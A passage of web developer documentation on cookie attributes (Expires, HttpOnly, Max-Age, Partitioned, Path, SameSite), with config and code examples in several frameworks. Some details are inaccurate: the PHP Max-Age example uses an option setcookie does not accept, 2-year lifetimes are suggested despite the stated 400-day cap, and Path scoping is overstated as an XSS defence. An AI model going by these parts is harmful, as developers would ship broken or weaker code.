cookie instantly, which is why copy-pasted example dates silently break. ## What Expires does Without `Expires` or `Max-Age` a cookie is a session cookie. Do not read that as "gone when the browser closes": Chrome's "Continue where you left off" and Firefox/Safari session restore bring session cookies back across restarts, so a session cookie is not a reliable short lifetime. Use an explicit lifetime for anything that must expire. ```http Set-Cookie: remember=7f3a9c; Expires=Fri, 15 Oct 2027 12:00:00 GMT; Path=/; Secure; HttpOnly; SameSite=Lax ``` The date uses the IMF-fixdate form of HTTP-date (RFC 9110 section 5.6.7): `Day, DD Mon YYYY HH:MM:SS GMT`. Always GMT, English day and month names. Browsers are lenient and also parse the older cookie date grammar from RFC 6265 section 5.1.1, but do not rely on it. Dates in examples on this page are in the future relative to October 2026. If you copy an old snippet with a 2025 date, the browser receives an already-expired cookie and removes it, so the symptom is "Set-Cookie is in the response but the cookie never appears in DevTools". ## Precedence and limits - If `Max-Age` and `Expires` both appear, `Max-Age` takes precedence (RFC 6265bis section 5.5). Sending both for "compatibility" is only needed for very old clients such as IE 8 and earlier, which ignored `Max-Age`. - RFC 6265bis caps cookie lifetime at 400 days. Chrome enforces this: a larger `Expires` or `Max-Age` is clamped to 400 days from the time it is set. Other browsers have their own caps, for example Safari limits cookies written by JavaScript to 7 days under Intelligent Tracking Prevention in some contexts. - `Expires` is evaluated against the client's clock. A device with a wrong clock may see the cookie as already expired. `Max-Age` avoids that. ## Generating the date ```javascript // Express: both forms work; maxAge is milliseconds in Express res.cookie('remember', token, { expires: new Date('2027-10-15T12:00:00Z'), httpOnly: true, secure: true }) res.cookie('remember', token, { maxAge: 30 * 24 * 60 * 60 * 1000, httpOnly: true, secure: true }) // Browser: document.cookie wants a UTC string document.cookie = `theme=dark; Expires=${new Date(Date.now() + 365 * 864e5).toUTCString()}; Path=/; Secure; SameSite=Lax` ``` ```python # Django: pass max_age (seconds) or a timezone-aware expires datetime response.set_cookie('theme', 'dark', max_age=60 * 60 * 24 * 365, secure=True, samesite='Lax') ``` ```php // PHP: 'expires' is a Unix timestamp, not a date string setcookie('userId', '123', [ 'expires' => time() + 30 * 24 * 60 * 60, 'path' => '/', 'secure' => true, 'httponly' => true, 'samesite' => 'Lax', ]); ``` ## Deleting a cookie Send the same name, `Path` and `Domain` with a past date (or `Max-Age=0`). A mismatched `Path` or `Domain` creates a second cookie instead of deleting the first. ```http Set-Cookie: remember=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Path=/ ``` ```javascript res.clearCookie('remember', { path: '/' }) ``` ## Troubleshooting | Symptom | Likely cause | | --- | --- | | Cookie appears then vanishes immediately | `Expires` in the past, or `Max-Age=0`/negative | | Lifetime shorter than requested | Browser cap (400 days in Chrome) or ITP limits on script-set cookies | | Cookie lifetime differs per user | Client clock skew with `Expires`; switch to `Max-Age` | | Delete does nothing | `Path` or `Domain` does not match the original cookie | | Parsed date wrong | Local timezone name instead of GMT, or `new Date('2027-10-15 12:00 PST')` style strings; use ISO `Z` strings in JavaScript | Inspect what the server really sent: ```bash curl -sI https://example.com/login | grep -i '^set-cookie' ``` ## Related - [Max-Age](https://howhttpworks.com/cookies/max-age) - [Secure](https://howhttpworks.com/cookies/secure) - [HttpOnly](https://howhttpworks.com/cookies/http-only) - [SameSite](https://howhttpworks.com/cookies/same-site) - [Set-Cookie header](https://howhttpworks.com/headers/set-cookie) --- # HttpOnly Cookie Attribute: XSS Protection > Learn how the HttpOnly cookie attribute protects against XSS attacks by preventing JavaScript access to sensitive cookies. Source: https://howhttpworks.com/cookies/http-only Last reviewed: 2026-10-04 > **TL;DR:** `HttpOnly` hides a cookie from `document.cookie` so injected JavaScript cannot read or exfiltrate it. It does not stop XSS: the attacker's script can still make authenticated same-origin requests, because the browser attaches the cookie on its own. ## What it does ```http Set-Cookie: __Host-session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/ ``` The browser still sends the cookie with every matching request, but it is excluded from `document.cookie` and from the Cookie Store API, and `fetch`/`XMLHttpRequest` never expose `Set-Cookie` response headers to scripts anyway. A script also cannot create or overwrite an HttpOnly cookie via `document.cookie`; the browser ignores the write. ```javascript // Server sent: Set-Cookie: session=secret; HttpOnly and Set-Cookie: theme=dark console.log(document.cookie) // "theme=dark" (session is not listed) ``` ## What it does not do - **It does not stop requests made as the user.** With XSS on your page, `fetch('/api/transfer', { method: 'POST', credentials: 'include', ... })` carries the HttpOnly cookie. `SameSite` does not help because the request is same-site. CSP and output encoding prevent the XSS in the first place; see [Content-Security-Policy](https://howhttpworks.com/headers/content-security-policy). - **It does not hide the cookie from the user, DevTools, or a network attacker.** Pair it with [Secure](https://howhttpworks.com/cookies/secure) and HTTPS. - **It does not protect other storage.** Tokens kept in `localStorage` or `sessionStorage` are always readable by script, which is the main reason session identifiers belong in HttpOnly cookies. - **It does not stop CSRF.** Use [SameSite](https://howhttpworks.com/cookies/same-site) plus CSRF tokens. ## Which cookies should be HttpOnly Session IDs, refresh tokens and anything the browser merely needs to return to the server: yes. Cookies your frontend must read (for example a double-submit CSRF token the SPA copies into an `X-CSRF-Token` header, or a theme preference) cannot be HttpOnly. ## Framework defaults | Stack | Setting | Default | | --- | --- | --- | | Express (`res.cookie`) | `httpOnly: true` | Off; you must set it | | express-session | `cookie.httpOnly` | On | | Django | `SESSION_COOKIE_HTTPONLY` | On | | Django | `CSRF_COOKIE_HTTPONLY` | Off (the CSRF cookie is meant to be readable unless you use the session-based CSRF token) | | Flask | `SESSION_COOKIE_HTTPONLY` | On | | Spring Boot | `server.servlet.session.cookie.http-only` | On | | Go `net/http` | `http.Cookie{HttpOnly: true}` | Off; you must set it | | PHP `setcookie` | `'httponly' => true` or `session.cookie_httponly=1` | Off | ```javascript res.cookie('refresh', token, { httpOnly: true, secure: true, sameSite: 'strict', path: '/auth/refresh', maxAge: 7 * 24 * 60 * 60 * 1000 }) ``` ## Verify ```bash curl -sI https://example.com/login | grep -i '^set-cookie' ``` In Chrome DevTools, Application, Cookies, the HttpOnly column shows a check mark. In the console, `document.cookie` must not list the cookie name. If it does, the attribute was not on the `Set-Cookie` header, or a second `Set-Cookie` from another layer (a CDN, a different path) set a same-named cookie without it. ## Related - [Secure](https://howhttpworks.com/cookies/secure) - [SameSite](https://howhttpworks.com/cookies/same-site) - [Set-Cookie header](https://howhttpworks.com/headers/set-cookie) - [Cookie security guide](https://howhttpworks.com/guides/cookie-security) --- # Max-Age > Learn how the Max-Age cookie attribute sets expiration in seconds from now. Understand why Max-Age is preferred over Expires for reliable lifetime control. Source: https://howhttpworks.com/cookies/max-age Last reviewed: 2026-10-04 > **TL;DR:** Sets cookie expiration in seconds from now (e.g., `Max-Age=3600` for 1 hour) - preferred over Expires because it's not affected by client clock issues. ## What is the Max-Age Attribute? The **Max-Age** attribute sets how many seconds a cookie should live, starting from when it's set. It's like setting a timer - "delete this cookie in 3600 seconds (1 hour)." Unlike the Expires attribute which uses absolute dates, Max-Age uses relative time, making it immune to client clock issues. If both are present, `Max-Age` takes precedence (RFC 6265 section 5.3, unchanged in RFC 6265bis). Browsers also cap the effective lifetime: Chrome clamps `Max-Age` and `Expires` to 400 days, as RFC 6265bis allows, so `Max-Age=31536000` (365 days) fits but `Max-Age=63072000` (2 years) will be shortened. ## How It Works ### Session Cookie (No Max-Age) Deleted when the browser session ends, in principle. Browsers with session restore (Chrome's "Continue where you left off", Firefox's restore previous session) bring session cookies back as if the browser had never closed, so never rely on this for logout: ```http Set-Cookie: sessionData=temp123 # Expires: When browser session ends ``` ### Persistent Cookie (With Max-Age) Deleted after specified seconds: ```http Set-Cookie: rememberMe=true; Max-Age=2592000 # Expires: 30 days from now (2,592,000 seconds) ``` ## Time Calculations ### Common Durations in Seconds ```http # 1 minute Max-Age=60 # 1 hour Max-Age=3600 # 1 day Max-Age=86400 # 1 week Max-Age=604800 # 30 days Max-Age=2592000 # 1 year Max-Age=31536000 ``` ### Calculation Formula ```text Seconds = Days × 24 × 60 × 60 ``` ## Real-World Examples ### Short-Term Authentication Session expires in 1 hour: ```http Set-Cookie: sessionId=abc123; Max-Age=3600; HttpOnly; Secure ``` ### Remember Me Login Keep user logged in for 30 days: ```http Set-Cookie: rememberToken=xyz789; Max-Age=2592000; HttpOnly; Secure; SameSite=Strict ``` ### Shopping Cart Keep cart items for 1 week: ```http Set-Cookie: cartId=cart456; Max-Age=604800; SameSite=Lax ``` ### User Preferences Store theme for 1 year: ```http Set-Cookie: theme=dark; Max-Age=31536000; Path=/ ``` ### Rate Limiting Temporary block for 15 minutes: ```http Set-Cookie: rateLimited=true; Max-Age=900; Path=/api ``` ### CSRF Token Short-lived security token (30 minutes): ```http Set-Cookie: csrfToken=random123; Max-Age=1800; HttpOnly; SameSite=Strict ``` ## Max-Age vs Expires ### Max-Age (Preferred) ```http Set-Cookie: data=value; Max-Age=86400 ``` **Advantages:** - Not affected by client clock changes - Simpler to calculate - More reliable - Preferred by modern browsers ### Expires (Legacy) ```http Set-Cookie: data=value; Expires=Sat, 16 Jan 2027 10:00:00 GMT ``` **Disadvantages:** - Affected by client clock skew - Requires date formatting - Can fail if client time is wrong ### Priority Rules When both are present, Max-Age takes precedence: ```http Set-Cookie: data=value; Max-Age=3600; Expires=Sat, 16 Jan 2027 10:00:00 GMT # Browser uses Max-Age (1 hour from now), ignores Expires ``` ## Implementation Examples ### JavaScript ```javascript // Set cookie for 24 hours const maxAge = 24 * 60 * 60 // 86400 seconds document.cookie = `userId=123; Max-Age=${maxAge}; Secure` ``` ### Express.js ```javascript // 7 days from now app.post('/login', (req, res) => { res.cookie('sessionId', sessionId, { maxAge: 7 * 24 * 60 * 60 * 1000, // Express uses milliseconds! httpOnly: true, secure: true }) }) // Helper function for readability const days = (n) => n * 24 * 60 * 60 * 1000 res.cookie('rememberMe', 'true', { maxAge: days(30), // 30 days httpOnly: true }) ``` ### Python Flask ```python from datetime import timedelta @app.route('/login') def login(): response = make_response('Logged in') # 1 hour = 3600 seconds response.set_cookie( 'sessionId', session_id, max_age=3600, httponly=True, secure=True ) return response ``` ### PHP ```php // 30 days in seconds $maxAge = 30 * 24 * 60 * 60; // 2,592,000 setcookie('userId', '123', [ 'max_age' => $maxAge, 'secure' => true, 'httponly' => true, 'samesite' => 'Strict' ]); ``` ## Deleting Cookies with Max-Age Set Max-Age to 0 or negative value: ```http Set-Cookie: oldCookie=; Max-Age=0; Path=/ Set-Cookie: anotherCookie=; Max-Age=-1; Path=/ ``` **JavaScript:** ```javascript // Delete cookie immediately document.cookie = 'sessionId=; Max-Age=0; Path=/' ``` **Express.js:** ```javascript // Clear cookie res.clearCookie('sessionId') // Automatically sets Max-Age=0 ``` ## Security Considerations ### Appropriate Lifetimes ```http # Sensitive data: Short lifetime Set-Cookie: sessionId=secret; Max-Age=3600; HttpOnly; Secure # Non-sensitive data: Longer lifetime Set-Cookie: theme=dark; Max-Age=31536000 # Critical operations: Very short lifetime Set-Cookie: adminToken=xyz; Max-Age=900; HttpOnly; Secure ``` ### Session Management ```javascript // Different lifetimes for different security levels const sessionLifetimes = { regular: 24 * 60 * 60, // 24 hours admin: 2 * 60 * 60, // 2 hours banking: 15 * 60, // 15 minutes api: 60 * 60 // 1 hour } res.cookie('sessionId', sessionId, { maxAge: sessionLifetimes.admin * 1000, // Express uses milliseconds httpOnly: true, secure: true }) ``` ## Getting Max-Age right **1. Use Max-Age instead of Expires:** ```http ✅ Max-Age=86400 ❌ Expires=Sat, 16 Jan 2027 10:00:00 GMT ``` **2. Choose appropriate lifetimes:** ```http Session cookies: 1-24 hours Authentication: 1-30 days Preferences: 30 days - 1 year Tracking: Maximum 2 years ``` **3. Use constants for readability:** ```javascript const HOUR = 60 * 60 const DAY = 24 * HOUR const WEEK = 7 * DAY res.cookie('sessionId', sessionId, { maxAge: 2 * HOUR * 1000, // 2 hours httpOnly: true }) ``` **4. Validate Max-Age values:** ```javascript function setCookie(name, value, maxAgeSeconds) { // Validate reasonable limits if (maxAgeSeconds < 0 || maxAgeSeconds > 2 * 365 * 24 * 60 * 60) { throw new Error('Invalid Max-Age value') } res.cookie(name, value, { maxAge: maxAgeSeconds * 1000 }) } ``` **5. Include both for compatibility:** ```javascript // Maximum compatibility const maxAgeSeconds = 86400 const expires = new Date(Date.now() + maxAgeSeconds * 1000) res.cookie('data', value, { maxAge: maxAgeSeconds * 1000, expires: expires }) ``` ## Common Patterns ### Progressive Expiration ```javascript // Extend session on activity app.use((req, res, next) => { if (req.cookies.sessionId) { // Refresh session cookie res.cookie('sessionId', req.cookies.sessionId, { maxAge: 24 * 60 * 60 * 1000, // Reset to 24 hours httpOnly: true, secure: true }) } next() }) ``` ### Conditional Lifetimes ```javascript // Different lifetimes based on user choice app.post('/login', (req, res) => { const maxAge = req.body.rememberMe ? 30 * 24 * 60 * 60 * 1000 // 30 days : 2 * 60 * 60 * 1000 // 2 hours res.cookie('sessionId', sessionId, { maxAge: maxAge, httpOnly: true, secure: true }) }) ``` ### Environment-Based Lifetimes ```javascript // Shorter lifetimes in development const maxAge = process.env.NODE_ENV === 'production' ? 24 * 60 * 60 * 1000 // 24 hours in production : 60 * 60 * 1000 // 1 hour in development res.cookie('sessionId', sessionId, { maxAge }) ``` ## Troubleshooting ### Cookie Expires Too Soon ```javascript // Problem: Using seconds instead of milliseconds in Express res.cookie('data', value, { maxAge: 3600 }) // Only 3.6 seconds! // Solution: Convert to milliseconds res.cookie('data', value, { maxAge: 3600 * 1000 }) // 1 hour ``` ### Cookie Never Expires ```javascript // Problem: Negative or zero Max-Age Set-Cookie: data=value; Max-Age=0 // Deletes immediately // Solution: Use positive value Set-Cookie: data=value; Max-Age=86400 // 1 day ``` ## Related Attributes - [Expires](https://howhttpworks.com/cookies/expires) - Alternative absolute expiration method - [Secure](https://howhttpworks.com/cookies/secure) - HTTPS-only transmission - [HttpOnly](https://howhttpworks.com/cookies/http-only) - Prevent JavaScript access - [SameSite](https://howhttpworks.com/cookies/same-site) - Cross-site request control --- # Partitioned Cookies (CHIPS): The Partitioned Attribute > The Partitioned cookie attribute (CHIPS) gives third-party embeds a separate cookie jar per top-level site. Syntax, Secure requirement, and browser support. Source: https://howhttpworks.com/cookies/partitioned Last reviewed: 2026-10-04 > **TL;DR:** `Partitioned` makes a third-party cookie live in a separate jar for each top-level site that embeds it. Set it with `Secure` (and `SameSite=None` if the cookie must be sent cross-site) and the cookie works inside an iframe even where unpartitioned third-party cookies are blocked, without being usable for cross-site tracking. ## What it looks like ```http Set-Cookie: __Host-widget=34d8g; Secure; Path=/; SameSite=None; Partitioned ``` This is the form shown in MDN. A chat widget served from `chat.vendor.example` sets that cookie while embedded on `https://site-a.example`. The browser stores it under a double key: the cookie's own host (`chat.vendor.example`) and the partition key, the top-level site (`https://site-a.example`). When the same widget is embedded on `https://site-b.example`, the browser looks in a different partition and the cookie is not there. Each embedding site gets its own widget state. CHIPS stands for Cookies Having Independent Partitioned State. It is the opt-in alternative to the older all-or-nothing model, where a third-party cookie was either sent everywhere or blocked everywhere. ## Rules - `Partitioned` requires `Secure`. A cookie with `Partitioned` but no `Secure` is rejected. - To be sent in cross-site requests at all, the cookie still needs `SameSite=None`; partitioning does not replace SameSite. See [SameSite](https://howhttpworks.com/cookies/same-site). - MDN recommends the `__Host-` prefix, which binds the cookie to the exact host. See [cookie prefixes](https://howhttpworks.com/cookies/cookie-prefixes). - The partition key is the top-level site, not the full origin. Subdomains of the embedding site share a partition: a widget embedded on `shoppy.example` and `support.shoppy.example` reads the same cookie. - The `Cookie` request header does not say whether a cookie is partitioned. Your server only sees `name=value`, so partitioning is invisible server-side apart from the cookie being absent when the context changes. ## What it is for, and what it breaks Intended uses from MDN: embedded maps or chat widgets that keep state per embedding site, CDN load-balancing hints, and headless CMS or embedded-service configuration. In each case the third party needs memory per site, not a cross-site identity. It does not give you a cross-site login. A partitioned session cookie set while your app is embedded on `site-a.example` is invisible when the user visits your app directly or embedded on `site-b.example`. Federated sign-in needs another mechanism such as FedCM, or the Storage Access API for unpartitioned access. ## Browser support Per MDN's compatibility data for the `Partitioned` attribute: | Browser | First version | | --- | --- | | Chrome, Edge | 114 | | Firefox | 141 | | Safari | 26.2 (18.4 and 18.5 listed as partial) | MDN labels the feature Baseline 2025, newly available since December 2025. Safari and Firefox already restrict or partition third-party cookies by default, so there the attribute mostly matters as an explicit declaration of intent; in Chrome, where unpartitioned third-party cookies can still be allowed by user settings, it is what keeps working when they are blocked. ## Chrome's third-party cookie plans This area changed several times, so only the confirmed announcements are listed: - 22 April 2025: Google said it would maintain its current approach to offering users third-party cookie choice in Chrome and would not roll out a new standalone prompt for third-party cookies. Users keep the choice in Chrome's Privacy and Security settings. - 17 October 2025: Google announced it was retiring ten Privacy Sandbox technologies, including Topics, Protected Audience and Attribution Reporting, because of low adoption. CHIPS and FedCM were named as having seen broad adoption and will continue, and Private State Tokens are kept. Neither announcement is a date for removing third-party cookies from Chrome. Build for the case where they are blocked, since Safari and Firefox already do, and use `Partitioned` where per-site state is all you need. ## Debugging In Chrome DevTools, Application, Cookies shows the partition key for each cookie. A cookie that is "missing" in an embed is usually one of: set without `Secure`, set from an HTTP response, set without `SameSite=None` and therefore not sent, or looked up from a different top-level site than the one that set it. Test in a fresh profile, since extensions and old unpartitioned cookies can mask the problem. ```bash curl -si https://chat.vendor.example/init | grep -i set-cookie ``` Confirm the header contains `Partitioned` and `Secure` before blaming the browser. --- # Path > Learn how the Path cookie attribute restricts which URL paths can receive cookies. Understand path matching rules and how to scope cookies to specific routes. Source: https://howhttpworks.com/cookies/path Last reviewed: 2026-10-04 > **TL;DR:** Restricts which URL paths receive the cookie (e.g., `Path=/admin` only sends to admin pages) - use to scope cookies to specific app sections and reduce unnecessary cookie transmission. ## What is the Path Attribute? The **Path** attribute controls which URL paths can receive a cookie. It's like setting delivery instructions for mail - "only deliver to apartments on the 3rd floor." Without this attribute, cookies are sent to all paths on the domain, which can be inefficient and potentially insecure. This attribute helps scope cookies to specific sections of your application. ## How It Works ### No Path Attribute (Default) Cookie sent to all paths on the domain: ```http Set-Cookie: userData=john123 # From: /shop/cart # Sent to: /, /shop, /shop/cart, /admin, /api, etc. ``` ### With Path Attribute Cookie only sent to matching paths: ```http Set-Cookie: adminToken=xyz789; Path=/admin # From: /admin/dashboard # Sent to: /admin, /admin/dashboard, /admin/users # Not sent to: /, /shop, /api ``` ## Path Matching Rules ### Exact Path and Subdirectories ```http Set-Cookie: data=value; Path=/shop ``` **Sent to:** - `/shop` ✅ - `/shop/` ✅ - `/shop/cart` ✅ - `/shop/checkout/payment` ✅ **Not sent to:** - `/` ❌ - `/api` ❌ - `/shopping` ❌ (different path) - `/admin` ❌ ### Root Path ```http Set-Cookie: globalData=value; Path=/ ``` **Sent to all paths:** - `/` ✅ - `/shop` ✅ - `/admin` ✅ - `/api/users` ✅ ### Specific Subdirectory ```http Set-Cookie: apiKey=secret; Path=/api/v1 ``` **Sent to:** - `/api/v1` ✅ - `/api/v1/` ✅ - `/api/v1/users` ✅ - `/api/v1/orders/123` ✅ **Not sent to:** - `/api` ❌ - `/api/v2` ❌ - `/shop` ❌ ## Real-World Examples ### Admin Panel Security Restrict admin cookies to admin paths: ```http Set-Cookie: adminSession=secure123; Path=/admin; HttpOnly; Secure; Max-Age=3600 ``` Admin cookies never sent to public pages, reducing exposure. ### API Authentication Scope API tokens to API endpoints: ```http Set-Cookie: apiToken=bearer456; Path=/api; HttpOnly; Secure; SameSite=Strict ``` ### Shopping Cart Keep cart data in shopping section: ```http Set-Cookie: cartId=cart789; Path=/shop; Max-Age=604800; SameSite=Lax ``` ### User Dashboard Personal data only in user area: ```http Set-Cookie: userPrefs=theme:dark; Path=/dashboard; Max-Age=2592000 ``` ### Multi-Tenant Applications Separate tenant data by path: ```http Set-Cookie: tenantId=acme; Path=/tenants/acme; Secure Set-Cookie: tenantId=corp; Path=/tenants/corp; Secure ``` ### Development vs Production APIs ```http # Development API Set-Cookie: devToken=dev123; Path=/dev/api; Max-Age=86400 # Production API Set-Cookie: prodToken=prod456; Path=/api; Max-Age=3600 ``` ## Security Benefits ### Principle of Least Privilege Only send cookies where needed: ```http # ❌ Overly broad: Admin token sent everywhere Set-Cookie: adminToken=secret; HttpOnly; Secure # ✅ Properly scoped: Admin token only in admin area Set-Cookie: adminToken=secret; Path=/admin; HttpOnly; Secure ``` ### Reduced Attack Surface ```http # Admin cookie not exposed to public pages Set-Cookie: adminSession=xyz; Path=/admin; HttpOnly; Secure # Public pages can't access admin cookies # Reduces risk if public pages have XSS vulnerabilities ``` ### Data Isolation ```http # Different user types get different cookies Set-Cookie: customerData=abc; Path=/customer; HttpOnly Set-Cookie: employeeData=def; Path=/employee; HttpOnly Set-Cookie: adminData=ghi; Path=/admin; HttpOnly ``` ## Implementation Examples ### Express.js ```javascript // Admin routes app.use('/admin', (req, res, next) => { // Admin-specific cookie res.cookie('adminContext', 'true', { path: '/admin', httpOnly: true, secure: true, maxAge: 2 * 60 * 60 * 1000 // 2 hours }) next() }) // API routes app.use('/api', (req, res, next) => { // API-specific cookie res.cookie('apiVersion', 'v2', { path: '/api', maxAge: 24 * 60 * 60 * 1000 // 24 hours }) next() }) // Shopping cart app.post('/shop/add-to-cart', (req, res) => { res.cookie('cartId', generateCartId(), { path: '/shop', maxAge: 7 * 24 * 60 * 60 * 1000, // 1 week sameSite: 'lax' }) }) ``` ### Python Flask ```python @app.route('/admin/login', methods=['POST']) def admin_login(): session_id = generate_admin_session() response = make_response({'success': True}) response.set_cookie( 'adminSession', session_id, path='/admin', httponly=True, secure=True, max_age=7200 # 2 hours ) return response ``` ### PHP ```php // Admin area cookie if (strpos($_SERVER['REQUEST_URI'], '/admin') === 0) { setcookie('adminToken', $token, [ 'expires' => time() + 3600, 'path' => '/admin', 'secure' => true, 'httponly' => true, 'samesite' => 'Strict' ]); } ``` ## Getting Path right **1. Use specific paths for sensitive cookies:** ```http ✅ Set-Cookie: adminToken=secret; Path=/admin; HttpOnly; Secure ❌ Set-Cookie: adminToken=secret; HttpOnly; Secure ``` **2. Match cookie path to application structure:** ```text /api/v1 → Path=/api/v1 /admin → Path=/admin /user → Path=/user /shop → Path=/shop ``` **3. Use root path sparingly:** ```http # Only for truly global data Set-Cookie: siteTheme=dark; Path=/; Max-Age=31536000 # Not for sensitive data ❌ Set-Cookie: sessionId=secret; Path=/ ✅ Set-Cookie: sessionId=secret; Path=/app; HttpOnly ``` **4. Consider cookie cleanup:** ```javascript // Clear cookies from specific paths app.post('/logout', (req, res) => { // Clear admin cookies res.clearCookie('adminSession', { path: '/admin' }) // Clear user cookies res.clearCookie('userSession', { path: '/user' }) // Clear global cookies res.clearCookie('globalPrefs', { path: '/' }) }) ``` **5. Document path strategy:** ```javascript // Cookie path strategy: // /admin/* - Admin-only cookies (sessions, permissions) // /api/* - API-specific cookies (tokens, rate limits) // /shop/* - Shopping-related cookies (cart, preferences) // /* - Global cookies (theme, language) const COOKIE_PATHS = { ADMIN: '/admin', API: '/api', SHOP: '/shop', GLOBAL: '/' } ``` ## Common Patterns ### Hierarchical Permissions ```javascript // Different access levels with different paths const setUserCookie = (level, sessionId) => { const paths = { admin: '/admin', manager: '/manager', user: '/user', public: '/' } res.cookie('sessionId', sessionId, { path: paths[level], httpOnly: true, secure: true }) } ``` ### API Versioning ```javascript // Different cookies for different API versions app.use('/api/v1', (req, res, next) => { res.cookie('apiVersion', 'v1', { path: '/api/v1' }) next() }) app.use('/api/v2', (req, res, next) => { res.cookie('apiVersion', 'v2', { path: '/api/v2' }) next() }) ``` ### Feature Flags by Section ```javascript // Different features enabled in different sections const featureFlags = { '/beta': { newUI: true, advancedFeatures: true }, '/stable': { newUI: false, advancedFeatures: false } } app.use('/beta', (req, res, next) => { res.cookie('features', JSON.stringify(featureFlags['/beta']), { path: '/beta' }) next() }) ``` ## Troubleshooting ### Cookie Not Being Sent ```javascript // Problem: Path doesn't match request URL Set-Cookie: data=value; Path=/admin // Request to: /shop/cart (no match) // Solution: Check path matching console.log('Request path:', req.path) console.log('Cookie path:', '/admin') console.log('Matches:', req.path.startsWith('/admin')) ``` ### Cookie Sent to Wrong Paths ```javascript // Problem: No path restriction Set-Cookie: adminToken=secret // Sent everywhere! // Solution: Add appropriate path Set-Cookie: adminToken=secret; Path=/admin ``` ### Path Case Sensitivity ```javascript // Problem: Case mismatch Set-Cookie: data=value; Path=/Admin // Request to: /admin (lowercase) // Solution: Use consistent casing (usually lowercase) Set-Cookie: data=value; Path=/admin ``` ## Related Attributes - [Domain](https://howhttpworks.com/cookies/domain) - Controls domain access - [Secure](https://howhttpworks.com/cookies/secure) - HTTPS-only transmission - [HttpOnly](https://howhttpworks.com/cookies/http-only) - Prevent JavaScript access - [SameSite](https://howhttpworks.com/cookies/same-site) - Cross-site request control --- # SameSite Cookie Attribute: Strict, Lax and None > How SameSite works: Strict, Lax and None, what counts as same-site, why Lax-by-default is Chromium behavior, and how to fix cookies blocked cross-site. Source: https://howhttpworks.com/cookies/same-site Last reviewed: 2026-10-04 > **TL;DR:** `SameSite` decides whether a cookie rides along on requests that start from another site. Set it explicitly: `Lax` for session cookies, `Strict` for high-risk ones, `None; Secure` only for cookies that must work inside third-party embeds. The "unset means Lax" default is Chromium-only. ## Same-site is not same-origin The most common SameSite confusion is the definition of "site". A site is the scheme plus the registrable domain (eTLD+1, computed with the Public Suffix List). Port and subdomain do not matter. | Request from | To | Same-site? | | --- | --- | --- | | `https://app.example.com` | `https://api.example.com` | Yes (both `example.com`) | | `https://example.com:3000` | `https://example.com:8443` | Yes (ports ignored) | | `https://example.com` | `https://example.org` | No | | `http://example.com` | `https://example.com` | No in Chrome and Edge (schemeful same-site, Chrome 89+); other browsers have not matched this consistently, so do not rely on it | | `https://alice.github.io` | `https://bob.github.io` | No (`github.io` is on the Public Suffix List) | So a frontend on `app.example.com` calling `api.example.com` sends `SameSite=Strict` cookies fine, while the same frontend calling `api.example.net` does not, even though CORS is configured correctly. CORS and SameSite are independent checks; see [CORS vs CSP](https://howhttpworks.com/compare/cors-vs-csp) and the [CORS guide](https://howhttpworks.com/guides/cors). ## The three values | Value | Cross-site top-level link (GET) | Cross-site POST form | fetch / XHR / iframe / img | | --- | --- | --- | --- | | `Strict` | Not sent | Not sent | Not sent | | `Lax` | Sent | Not sent | Not sent | | `None` | Sent | Sent | Sent (requires `Secure`) | ```http Set-Cookie: session=abc123; SameSite=Lax; Secure; HttpOnly; Path=/ ``` `Strict` has a UX cost: a user who clicks a link to your site from an email or chat arrives without the cookie, so the first page renders logged out. Typical workaround is a `Lax` session cookie plus a `Strict` cookie only for sensitive actions, or a redirect hop that re-requests the page from same-site context. ## Browser differences | Behavior | Chrome / Edge | Firefox | Safari | | --- | --- | --- | --- | | Missing `SameSite` treated as `Lax` | Yes (since Chrome 80) | No | No | | "Lax+POST" exception for unmarked cookies younger than 2 minutes | Yes | Not applicable | Not applicable | | `SameSite=None` requires `Secure` | Yes (enforced alongside Lax-by-default) | Not enforced by default; the requirement is in RFC 6265bis | Not enforced; Safari 12 and macOS 10.14's Safari 13 treat `None` as `Strict`, fixed in 10.15 and later | | Third-party cookies | Still allowed by default as of this review; `Partitioned` (CHIPS) available | Blocked or partitioned by Total Cookie Protection | Blocked by Intelligent Tracking Prevention | Treat the table as a snapshot: third-party cookie policy has changed repeatedly, and Firefox and Safari restrictions apply even to cookies with `SameSite=None`. The practical rule is the same everywhere: if your feature needs a cookie in a cross-site iframe, test in all three browsers and plan for `Partitioned` cookies or the Storage Access API instead. The Lax+POST exception exists only in Chromium and only for cookies with no explicit SameSite attribute that were set less than two minutes ago. It was a migration aid for SSO flows that POST back to the relying party. Do not depend on it; set `SameSite=None; Secure` explicitly if you need cross-site POST. ## Console messages and what they mean | Browser message | Cause | | --- | --- | | `Cookie "x" has been rejected because it is in a cross-site context and its "SameSite" is "Lax" or "Strict"` (Firefox) | A cross-site request tried to set or send a Lax/Strict cookie | | `This Set-Cookie was blocked because it had the "SameSite=None" attribute but did not have the "Secure" attribute` (Chrome) | Add `Secure` and serve over HTTPS | | `This attempt to set a cookie via a Set-Cookie header was blocked because it had the "SameSite=Strict" or "SameSite=Lax" attribute but came from a cross-site response` (Chrome) | Cross-site `fetch` response set a Lax/Strict cookie; use `None; Secure` or restructure | Reproduce what the server sends before debugging the browser: ```bash curl -sI https://example.com/login | grep -i '^set-cookie' ``` ## Fix: cookie missing in an embed or cross-site API ```javascript // Express: cross-site API called from another registrable domain res.cookie('session', token, { sameSite: 'none', secure: true, httpOnly: true, partitioned: true // CHIPS: separate jar per top-level site; Chromium and Firefox }) ``` ```python # Django settings.py SESSION_COOKIE_SAMESITE = 'None' SESSION_COOKIE_SECURE = True CSRF_COOKIE_SAMESITE = 'None' CSRF_COOKIE_SECURE = True ``` ```python # Flask app.config.update(SESSION_COOKIE_SAMESITE='None', SESSION_COOKIE_SECURE=True) ``` On the client the request must also opt in: `fetch(url, { credentials: 'include' })`, and the server must send `Access-Control-Allow-Credentials: true` with a specific (non-`*`) `Access-Control-Allow-Origin`. ## OAuth and SSO redirects When an identity provider redirects back to your callback, that is a cross-site top-level GET navigation. A `Strict` session cookie is not sent, so the callback sees no session. `Lax` works for this flow. If the provider returns the result with a `form_post` response mode (cross-site POST), even `Lax` cookies are withheld; the state cookie for that callback needs `SameSite=None; Secure` with a short `Max-Age`. ## SameSite does not replace CSRF tokens `Lax` still allows cross-site GET navigations, and requests from sibling subdomains such as `evil.example.com` to `app.example.com` are same-site. Keep CSRF tokens (or `Sec-Fetch-Site` checks) for state-changing endpoints, and never mutate state on GET. ## Related - [HttpOnly cookie](https://howhttpworks.com/cookies/http-only) - [Secure cookie](https://howhttpworks.com/cookies/secure) - [Expires and Max-Age](https://howhttpworks.com/cookies/expires) - [Set-Cookie 